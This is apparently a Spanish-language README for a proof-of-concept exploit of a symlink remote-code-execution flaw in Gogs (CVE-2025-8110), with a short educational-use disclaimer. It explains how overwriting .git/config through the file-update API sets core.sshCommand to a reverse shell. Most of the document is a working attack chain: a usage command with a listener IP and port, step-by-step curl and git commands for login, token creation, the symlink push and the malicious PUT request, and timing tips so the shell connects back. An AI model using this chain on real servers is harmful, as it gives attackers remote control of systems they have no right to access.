
Exploit de un solo disparo para la RCE por symlink en Gogs (CVE-2025-8110) que desencadena una reverse shell mediante una única petición PUT a UpdateRepoFile.
Script de prueba de concepto en Python para CVE-2025-8110 — RCE por symlink en UpdateRepoFile de Gogs v0.13.3. Disparo único: el propio PUT malicioso activa git fetch → sshCommand → reverse shell.
⚠️ Solo para fines educativos y de investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posees o para los que careces de permiso por escrito para probar es ilegal.
El manejador UpdateRepoFile en internal/db/repo_editor.go llama a para escribir el contenido del archivo, lo que sigue los symlinks sin comprobarlos. Combinado con el hecho de que los commits anteriores de symlinks atraviesan hacia , un atacante puede:
os.WriteFile.git/x → .git/config al repositorio barePUT /api/v1/repos/{owner}/{repo}/contents/x con un .git/config malicioso que contenga core.sshCommand establecido a un comando de reverse shellgit fetch origin (a través de CreateOrUpdateRepoFile → UpdateLocalCopyBranch), que lee la configuración modificada y ejecuta sshCommand — lanzando un reverse shell en un solo disparo.poc.py: solicita objetivo, usuario, contraseña, LHOST y LPORT; inicia sesión, crea un token de API, crea un repositorio, sube un symlink y sobrescribe .git/config a través de la API — la propia petición PUT única activa el reverse shell.Ejecuta:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argumento | Requerido | Descripción |
|---|---|---|
--target / -t | Sí | Hostname o URL del Gogs objetivo |
--username | Sí | Nombre de usuario existente en Gogs |
--password | Sí | Contraseña existente de Gogs |
--lhost | Sí | IP del listener para el reverse shell |
--lport | Sí | Puerto del listener |
/user/settings/applicationsx → .git/config, hace commit y pushPUT /api/v1/repos/{owner}/{repo}/contents/x con una configuración git maliciosa que contiene core.sshCommand y una URL remota SSH. CreateOrUpdateRepoFile de Gogs llama internamente a UpdateLocalCopyBranch → git fetch origin, que lee la configuración envenenada y ejecuta sshCommand — lanzando un reverse shell en una sola petición.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
La propia petición PUT activa git fetch origin, que lee el .git/config envenenado y ejecuta el reverse shell. No se necesita una segunda petición.
¿Por qué
--max-time 10? El servidor puede quedarse colgado durante ~10s mientras git procesa la escritura y activa el fetch. Usar--max-time 10garantiza que curl mantenga la conexión abierta el tiempo suficiente para que el shell se conecte de vuelta. Sin ello, la conexión puede caerse antes de que el shell se lance.